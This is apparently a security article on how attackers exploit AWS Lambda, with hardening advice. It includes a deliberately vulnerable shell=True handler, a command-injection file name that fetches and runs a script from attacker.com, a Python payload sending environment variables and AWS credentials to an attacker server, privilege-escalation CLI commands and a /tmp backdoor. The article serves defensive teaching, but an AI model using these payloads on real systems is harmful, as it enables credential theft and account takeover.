How Hackers Exploit AWS Lambda: Serverless Vulnerabilities and Hardening
Serverless computing has revolutionized how modern web applications are built and deployed.
By abstracting the underlying server infrastructure, cloud providers like Amazon Web Services (AWS) allow developers to focus entirely on writing business logic.
AWS Lambda, the pioneer of Function-as-a-Service (FaaS), automatically handles execution, scaling, and high availability.
However, this convenience has given rise to a dangerous misconception.
Many developers believe that because there are no servers to manage, serverless architectures are inherently secure.
This is a myth.
While AWS secures the physical datacenters, hypervisors, and runtime environments, the customer remains responsible for securing the code, configuration, data, and access permissions.
Under the AWS Shared Responsibility Model, a vulnerability in a Lambda function is just as dangerous as one on a traditional server.
In fact, the unique characteristics of serverless environments introduce novel attack surfaces that malicious actors actively target.
This article provides an in-depth analysis of how hackers exploit AWS Lambda functions.
We will examine event injection, credential exfiltration, IAM privilege escalation, execution context reuse, and denial-of-wallet attacks.
Finally, we will outline concrete defensive strategies to harden your serverless applications.
The Attack Surface of Serverless Functions
To understand how serverless functions are exploited, it is necessary to contrast them with traditional server architectures.
A traditional server is a long-running, stateful resource that listens on a set of network ports.
Attackers scan these ports, identify exposed services, and exploit network-facing vulnerabilities to gain a foothold.
In contrast, an AWS Lambda function has no open ports listening on the public internet.
It is an ephemeral, event-driven resource.
It is invoked only when triggered by an event source, such as an API Gateway request, an S3 bucket upload, an SQS queue message, or a DynamoDB stream event.
However, this event-driven nature expands the attack surface in unexpected ways.
Instead of sending malicious payloads directly over HTTP requests, attackers can leverage upstream event sources as injection vectors.
Any untrusted data originating from an external entity can act as an exploit payload.
Furthermore, because Lambda functions are meant to be short-lived, attackers must adapt their post-exploitation behavior.
They cannot rely on traditional methods of persistence, such as spawning long-running daemon processes or listening on local ports.
In serverless attack scenarios, hackers focus on rapid data exfiltration, temporary environment hijacking, and privilege escalation.
1. Event Injection and Code Execution
Event injection is the serverless equivalent of input injection vulnerabilities.
Because Lambda functions consume complex, structured JSON payloads from a variety of event sources, developers often fail to validate these payloads properly.
If the function code processes untrusted event data insecurely, it can lead to command injection, local file read, or SQL injection.
Consider a Lambda function designed to process file uploads in an Amazon S3 bucket.
When a file is uploaded, S3 triggers the Lambda function and passes an event payload containing the file's metadata, including its key (name).
A common developer mistake is using this file key directly in OS shell commands for file processing, such as resizing images or extracting archives.
The following Python code sample illustrates a Lambda function vulnerable to command injection.
"""vulnerable_lambda.py — A Lambda function vulnerable to command injection."""import osimport subprocessimport urllib.parsefrom typing import Anydef lambda_handler(event: dict, context: Any) -> dict: # Extract bucket name and object key from the S3 event payload bucket = event["Records"][0]["s3"]["bucket"]["name"] key = urllib.parse.unquote_plus(event["Records"][0]["s3"]["object"]["key"], encoding="utf-8") # [*] Processing file using external system tool # WARNING: Key is concatenated directly into the shell command string command = f"curl -s https://{bucket}.s3.amazonaws.com/{key} | file -" try: # Executing shell command with shell=True is highly insecure result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) return { "statusCode": 200, "body": f"File type identified: {result.decode('utf-8')}" } except Exception as e: return { "statusCode": 500, "body": f"[-] Error processing file: {str(e)}" }
If a user uploads a file named image.png; curl http://attacker.com/exploit | sh to the bucket, the S3 event payload is generated with this exact key.
When the Lambda function processes the event, the resulting command string becomes:
curl -s https://my-bucket.s3.amazonaws.com/image.png; curl http://attacker.com/exploit | sh | file -
Because shell=True is enabled, the shell executes the injected command sequence.
The function downloads and runs the attacker's script directly within the Lambda execution environment.
This vulnerability is particularly insidious because it does not require direct access to the Lambda function.
The attacker exploits the function implicitly by performing a standard action (uploading a file) on an upstream service (S3).
This pattern of exploit is known as indirect injection.
The structured payload sent by S3 during the execution of this exploit looks like this.
2. Environment Variable Harvesting and Secret Leaks
Once an attacker achieves code execution inside a Lambda function, their next step is credential harvesting.
Lambda execution environments inject temporary security credentials using environment variables.
These variables include AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN.
These credentials belong to the IAM role assigned to the Lambda function, which is known as the execution role.
Additionally, developers often place other sensitive configurations in Lambda environment variables.
Examples include database connection strings, API tokens for third-party services, and encryption keys.
An attacker can easily read these variables by reading /proc/self/environ or executing env commands.
In Python, the attacker can retrieve and exfiltrate this information with a simple script.
The Python code block below shows an exploit payload designed to extract and exfiltrate environment variables.
"""exfiltrate_env.py — Code injection payload to exfiltrate Lambda environment variables."""import jsonimport osimport urllib.requestfrom typing import Dictdef run_exploit() -> None: # Extract all environment variables env_data: Dict[str, str] = dict(os.environ) # Filter for AWS temporary credentials aws_creds: Dict[str, str] = { "access_key": env_data.get("AWS_ACCESS_KEY_ID", ""), "secret_key": env_data.get("AWS_SECRET_ACCESS_KEY", ""), "session_token": env_data.get("AWS_SESSION_TOKEN", "") } # [*] Attempting exfiltration to attacker-controlled server url = "http://attacker-controlled-server.com/collect" payload = json.dumps({ "environment": env_data, "credentials": aws_creds }).encode("utf-8") req = urllib.request.Request( url, data=payload, headers={"Content-Type": "application/json"}, method="POST" ) try: with urllib.request.urlopen(req, timeout=5) as response: status = response.getcode() if status == 200: print("[+] Exfiltration successful.") else: print(f"[!] Server returned status: {status}") except Exception as e: print(f"[-] Exfiltration failed: {e}")
After exfiltrating these credentials, the attacker configures their local AWS CLI with the stolen access keys.
They can then interact with the AWS API directly from their machine, acting as the compromised Lambda function.
Because the session token is valid for up to twelve hours, the attacker has a significant window of opportunity.
They can run reconnaissance commands to discover what resources the Lambda function has access to.
The shell command sequence below illustrates how the attacker configures their local CLI and verifies their stolen access.
# Configure local environment with stolen temporary credentialsexport AWS_ACCESS_KEY_ID="ASIA..."export AWS_SECRET_ACCESS_KEY="wJalr..."export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj..."# [*] Checking identity and verifying accessaws sts get-caller-identity# [*] Enumerating S3 buckets and permissionsaws s3 ls
3. Privilege Escalation via Over-Privileged IAM Roles
The impact of stolen Lambda credentials depends entirely on the privileges of the function's execution role.
AWS recommends following the principle of least privilege, but this is frequently violated in practice.
Developers often attach generic, broad policies to Lambda functions during development and fail to restrict them in production.
For example, attaching the managed policy PowerUserAccess or granting iam:* permissions is common.
If a Lambda function is granted over-privileged access, an attacker can escalate their privileges to take full control of the AWS account.
Let's examine three common privilege escalation paths involving Lambda execution roles.
Path A: Creating a New Access Key or User
If the execution role has iam:CreateAccessKey permissions, the attacker can generate new access keys for existing IAM users.
If they have iam:CreateUser and iam:AttachUserPolicy, they can create a backdoor admin user.
Path B: Modifying the Lambda's Own Policy
If the role has iam:PutRolePolicy or iam:CreatePolicyVersion, the attacker can modify the policy attached to the Lambda's own execution role.
They can add a policy that grants administrative permissions (* on *), instantly escalating their privileges.
Path C: Abusing lambda:UpdateFunctionCode
If the execution role has permissions to update the code of other Lambda functions, the attacker can overwrite them.
They can target a function that runs under a more privileged execution role, such as a deployment runner or a backup utility.
By injection of a payload into that function, the attacker gains access to its higher-privilege execution environment when it next runs.
The shell session below demonstrates how an attacker checks their permissions and applies an administrator policy to their current role.
# [*] Enumerating permissions of the execution roleaws iam simulate-principal-policy \ --policy-source-arn "arn:aws:iam::123456789012:role/vulnerable-lambda-role" \ --action-names "iam:PutRolePolicy" "lambda:UpdateFunctionCode"# [*] Escalating privileges by adding administrator policy to current role# WARNING: Injecting wildcard policy allows complete account takeoveraws iam put-role-policy \ --role-name "vulnerable-lambda-role" \ --policy-name "escalation-backdoor" \ --policy-document '{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }'
4. Execution Context Reuse: Shattering the Ephemerality Myth
A common design principle of serverless functions is that they are stateless and ephemeral.
While this is true from an architectural perspective, the physical execution model differs.
To minimize the performance impact of creating new containers for every invocation (known as a cold start), AWS reuses execution contexts for subsequent requests.
When a Lambda function completes execution, AWS keeps the microVM and its container active for a variable period (usually up to several hours).
If the function is invoked again while the container is active (a warm start), AWS routes the request to the same container.
This reuse introduces two significant security issues: persistence and state pollution.
The local /tmp directory is preserved across warm starts.
Any files written to /tmp by one execution are accessible to subsequent executions.
An attacker can exploit this behavior to establish persistent code execution or cache sensitive data.
For instance, the attacker can write a shell script to /tmp and modify python path configuration variables to hijack imports in future invocations.
Alternatively, they can launch background processes that continue running while the container is warm.
The Python script below shows how an attacker can leverage this persistence model to poison subsequent executions.
"""warm_persistence.py — Backdoor execution context persistence via /tmp hijacking."""import osimport sysdef persist_backdoor() -> None: # Define paths inside the writable /tmp partition tmp_path = "/tmp" backdoor_lib = os.path.join(tmp_path, "injected_module.py") # [*] Writing malicious payload to /tmp/injected_module.py # This payload will execute code when imported by future warm starts backdoor_code = ( "print('[*] Backdoor module imported.')\n" "import urllib.request\n" "try:\n" " urllib.request.urlopen('http://attacker.com/ping')\n" "except Exception:\n" " pass\n" ) with open(backdoor_lib, "w") as f: f.write(backdoor_code) # [*] Modifying python path dynamically to prioritize /tmp # If the application imports 'injected_module', our file executes sys.path.insert(0, tmp_path) # We can also modify the PYTHONPATH environment variable for child processes os.environ["PYTHONPATH"] = f"{tmp_path}:{os.environ.get('PYTHONPATH', '')}" print("[+] Context poisoned for subsequent executions.")
If a Lambda function is configured to process multi-user transactions, execution context reuse can lead to cross-user data leakage.
If the function code caches user data in global variables, subsequent executions for different users may accidentally access that cached data.
This is not a traditional exploit in the sense of command injection, but rather a logic flaw that attackers can trigger by making back-to-back requests.
Furthermore, background threads or asynchronous processes started during one execution can continue running in subsequent warm starts.
While AWS freezes the execution container when the main handler completes, it thaws it when a new invocation arrives.
Any background tasks that were suspended will resume execution, allowing attackers to perform actions asynchronously across multiple requests.
5. Denial of Wallet (DoW) and Serverless Resource Exhaustion
In traditional server environments, a denial-of-service (DoS) attack aims to crash the server by exhausting CPU, memory, or network bandwidth.
In serverless environments, AWS handles scaling automatically, making traditional crash-based DoS attacks difficult to achieve.
However, this auto-scaling behavior introduces a new vulnerability: Denial of Wallet (DoW).
Because serverless functions charge users per request and per millisecond of compute time, a sudden surge in traffic can lead to astronomical bills.
An attacker can exploit this pricing model to cause financial devastation.
By flooding the Lambda function's API Gateway endpoint with concurrent requests, the attacker forces AWS to scale up the function.
This consumes the account's concurrency limits, preventing legitimate applications from running and causing a denial of service.
Simultaneously, it incurs significant execution costs.
Even more damaging are cascading infinite loops.
If a developer configures a Lambda function to write data to an S3 bucket, and that same bucket has an event trigger configured to execute the Lambda function, an infinite loop is born.
A single upload will trigger the Lambda, which writes a file, triggering the Lambda again.
This loop executes continuously, scaling up to the concurrency limit of the account, costing thousands of dollars in a matter of hours.
The diagram below visualizes the flow of a cascading infinite loop.
graph TD A["Attacker Uploads File"] --> B["S3 Bucket Trigger"] B --> C["Lambda Function Processes File"] C --> D["Lambda Writes Output File to Same Bucket"] D --> B
Hardening and Defensive Strategies
Securing serverless applications requires shifting focus from perimeter security to application-level and configuration-level security.
Implementing a defense-in-depth model ensures that even if a Lambda function is compromised, the impact is minimized.
Here are five key strategies for hardening AWS Lambda functions.
1. Implement Strict Least Privilege IAM Roles
Do not use wildcard * permissions.
Restrict permissions to specific resource ARNs (e.g. arn:aws:s3:::my-bucket/*).
Use IAM permissions boundary policies to limit the maximum permissions the Lambda role can ever have.
Avoid managed policies like PowerUserAccess or AdministratorAccess.
2. Robust Input Validation and Event Schema Enforcement
Treat all event payloads as untrusted inputs.
Use schema validation libraries to validate event payloads before processing them.
Reject any payload that does not conform to the expected format.
Avoid executing commands via system shells; use structured APIs such as Python's subprocess.run with list arguments instead of shell=True.
3. Secure Secrets Management
Never store API keys, database credentials, or private keys in plaintext environment variables.
Use AWS Secrets Manager or Systems Manager (SSM) Parameter Store to store sensitive credentials.
Grant the Lambda role specific permissions to access only the required secret.
Enable secret rotation to limit the lifetime of compromised credentials.
4. Runtime Protection and Execution Hygiene
Perform static application security testing (SAST) and software composition analysis (SCA) to identify vulnerable third-party libraries.
Implement strict cleanup logic in your code to delete any temporary files written to /tmp.
Treat /tmp as a potential attack vector; do not read files from /tmp without validating their integrity.
5. Monitoring, Alerting, and Concurrency Limits
Set up billing alarms using AWS Budgets to alert you when costs exceed expected thresholds.
Define reserved concurrency limits for individual Lambda functions to prevent a compromised function from consuming the entire account's concurrency pool.
Enable AWS CloudTrail to log all API calls made by the Lambda execution role.
Use AWS GuardDuty to detect anomalies, such as Lambda credentials being used from outside the AWS IP space.
Hardened Code Implementation
The following Python script shows a hardened implementation of our S3 file fetcher Lambda function.
It enforces input validation, utilizes a whitelist filter to block injection characters, and executes subprocess commands securely.
"""secure_lambda.py — Hardened Lambda function demonstrating input validation and safe execution."""import jsonimport subprocessimport urllib.parsefrom typing import Dict, Anydef validate_s3_event(record: Dict[str, Any]) -> bool: try: # Validate structure to prevent malformed injections if "s3" not in record: return False if "bucket" not in record["s3"] or "object" not in record["s3"]: return False return True except KeyError: return Falsedef lambda_handler(event: dict, context: Any) -> dict: # [*] Starting secure execution validation records = event.get("Records", []) if not records: print("[!] No records found in event payload.") return {"statusCode": 400, "body": "Bad Request"} record = records[0] if not validate_s3_event(record): print("[!] Invalid event structure detected.") return {"statusCode": 400, "body": "Invalid event schema"} bucket = record["s3"]["bucket"]["name"] key = urllib.parse.unquote_plus(record["s3"]["object"]["key"], encoding="utf-8") # Safe validation: Reject keys containing command injection characters # Only allow letters, numbers, dots, dashes, underscores, and forward slashes sanitized_key = "".join(c for c in key if c.isalnum() or c in ".-_/") if sanitized_key != key: print(f"[!] Path traversal or command injection attempt detected: {key}") return {"statusCode": 400, "body": "Invalid characters in key name"} # Secure command execution: Use a list of arguments and disable shell execution # This prevents shell injection because the system executes curl directly without a shell interpreter command = ["curl", "-s", f"https://{bucket}.s3.amazonaws.com/{sanitized_key}"] try: # Running subprocess safely without shell=True result = subprocess.run( command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=10, check=True ) print("[+] Resource fetched successfully.") return { "statusCode": 200, "body": f"Resource length: {len(result.stdout)}" } except subprocess.CalledProcessError as e: print(f"[-] Subprocess failed with exit code: {e.returncode}") return {"statusCode": 500, "body": "Processing failed"} except Exception as e: print(f"[-] Unexpected error: {str(e)}") return {"statusCode": 500, "body": "Internal server error"}
Conclusion
Serverless security is not a given; it is an ongoing process of secure coding and configuration management.
While AWS Lambda eliminates the burden of operating system patching and server maintenance, it shifts the focus to securing event-driven workflows and identity permissions.
Attackers will always seek the path of least resistance.
In serverless environments, this path often leads through over-privileged IAM execution roles, unvalidated event structures, and insecure environment variables.
By recognizing the unique characteristics of the Lambda runtime — such as the reuse of execution contexts and the persistence of temporary files — developers can anticipate threat vectors and build strong defenses.
Applying the principle of least privilege, sanitizing event records, utilizing secure key stores, and implementing continuous monitoring are essential steps to protect your resources.
In a serverless world, code is the new perimeter.
Securing it is your primary defense against cloud compromise.